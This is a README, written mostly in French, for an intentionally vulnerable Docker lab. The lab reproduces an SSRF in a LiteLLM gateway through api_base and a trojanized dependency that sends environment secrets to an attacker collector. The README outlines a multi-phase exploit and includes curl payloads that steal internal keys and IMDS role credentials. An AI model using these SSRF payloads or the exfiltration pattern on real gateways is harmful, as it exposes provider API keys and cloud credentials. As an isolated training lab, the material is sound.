
Lab Docker délibérément vulnérable reproduisant CVE-2026-33634 : SSRF de la passerelle LiteLLM via api_base plus une dépendance trojanisée, avec un exploit multi-phase pour le vol d'identifiants.
api_base (PoC / Lab)⚠️ Laboratoire délibérément vulnérable, à usage éducatif et autorisé. Exécutez-le uniquement sur votre machine, contre les conteneurs de ce dépôt. Lisez SECURITY-NOTES.md avant de commencer.
🚫 N'exécutez JAMAIS ce lab sur une VM cloud ni sur une machine partagée. Le gateway a un SSRF volontairement illimité : s'il existe un IMDS réel (
169.254.169.254) ou des services sensibles sur le loopback/le LAN, le SSRF les atteint réellement. Les ports ne sont publiés que sur127.0.0.1; gardez cette configuration. Utilisez un hôte isolé/jetable.
CVSS 9.4 (critique). Compromission de la supply chain du gateway LiteLLM
(mars/2026) : une dépendance malveillante dans une lib de gateway a exposé
le portefeuille entier de credentials de fournisseurs d'IA. Le schéma
récurrent de cette couche apparaît conjointement : clé OpenAI sur le proxy et
SSRF dans le paramètre api_base. Ce lab reproduit les deux failles et les
enchaîne dans un exploit.
litellm-telemetry-helper (dans malicious-dep/) simule la
dépendance transitive compromise. Dans la narration de l'incident, un pin
faible (>=0.9.6) aurait laissé le résolveur tirer la version malveillante
0.9.7 à la place de la 0.9.6 propre. Le payload se déclenche à
l'import (il suffit que le gateway résolve la dépendance) et, dans un thread
d'arrière-plan, exfiltre tout l'environnement (OPENAI_API_KEY,
ANTHROPIC_API_KEY, AWS_*, ...) vers un collecteur de l'attaquant —
silencieusement, sans casser l'application.
api_baseLe proxy (gateway/app.py) accepte api_base (le base_url
du fournisseur) venant de l'appelant, sans allowlist. L'attaquant contrôle
où le gateway effectue ses requêtes et le gateway en plus :
Authorization, etAvec cela, il est possible de : atteindre des services internes
(/admin/keys), voler des credentials cloud dans l'IMDS
(169.254.169.254), scanner les ports du réseau interne et exfiltrer la
clé de chaque fournisseur en pointant l'api_base vers l'attaquant.
HOST (vous / attaquant)
exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
▲ │
└───────────GET /loot (localhost:8080)──┐ │
│ ▼
┌───────────────────────── réseau docker "labnet" ─┼───────────────────┐
│ │ │
│ collector (attacker.lab:8080) ◄─ beacon supply-chain ── gateway │
│ • /beacon (exfil de la dep malveillante) │ (litellm │
│ • /collect (clé exfiltrée via SSRF) │ :4000) │
│ • /oob (confirmation SSRF aveugle) │ │ SSRF │
│ • /loot ┘ │ (api_base)│
│ ▼ │
│ internal.lab:9000 /admin/keys (NON publié) ◄──────────┤ │
│ imds.lab:80 /latest/... (NON publié) ◄──────────┤ │
│ provider-mock.lab:9100 (upstream "normal") ◄───────┘ │
└──────────────────────────────────────────────────────────────────────┘
internal.lab et imds.lab n'ont aucun port publié — seul le SSRF du
gateway les atteint. C'est tout l'intérêt du laboratoire.
Prérequis : Docker + Docker Compose v2, et Python 3.9+ avec httpx pour l'exploit.
cd CVE-2026-33634
# 1) sobe o lab (gateway :4000, coletor :8080)
docker compose up -d --build # ou: make up
# 2) instala o requisito do exploit
python3 -m pip install -r exploit/requirements.txt
# 3) roda o exploit completo
python3 exploit/exploit.py # ou: make exploit
Exécuter des phases isolées :
python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal # só rouba o cofre interno
python3 exploit/exploit.py --only cloud # só rouba credenciais de nuvem
python3 exploit/exploit.py --only keyleak # só vaza chaves dos provedores
python3 exploit/exploit.py --only supplychain # só verifica o beacon da dep
Le loot complet est enregistré dans loot.json. Suivez l'attaquant recevant les
données :
docker compose logs -f collector # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool
# leitura arbitrária: cofre interno via SSRF
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
| python3 -m json.tool
# credenciais de nuvem via SSRF ao IMDS
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'
| Phase | Technique |
|---|---|
recon | Fingerprint du gateway ; énumère les modèles/fournisseurs ; détecte le sink api_base. |
ssrf | Confirme le SSRF de manière aveugle (out-of-band) : force un callback avec un token unique vers le collecteur. |
scan | Port-scan du réseau interne à travers le gateway (concurrent). |
internal | SSRF → internal.lab/admin/keys : exfiltre le coffre de credentials entier. |
cloud | SSRF → IMDS : vole les credentials STS temporaires du rôle de l'instance. |
keyleak | Pointe api_base vers l'attaquant ; le gateway exfiltre la clé de chaque fournisseur dans l'Authorization. |
supplychain | Lit le loot : la dep trojanisée a déjà exfiltré l'environnement à l'import. |
report | Consolide l'impact et écrit loot.json. |
Ce lab privilégie la clarté didactique et la reproductibilité. Là où il abstrait l'incident réel, c'est volontaire — et il vaut la peine de connaître les différences :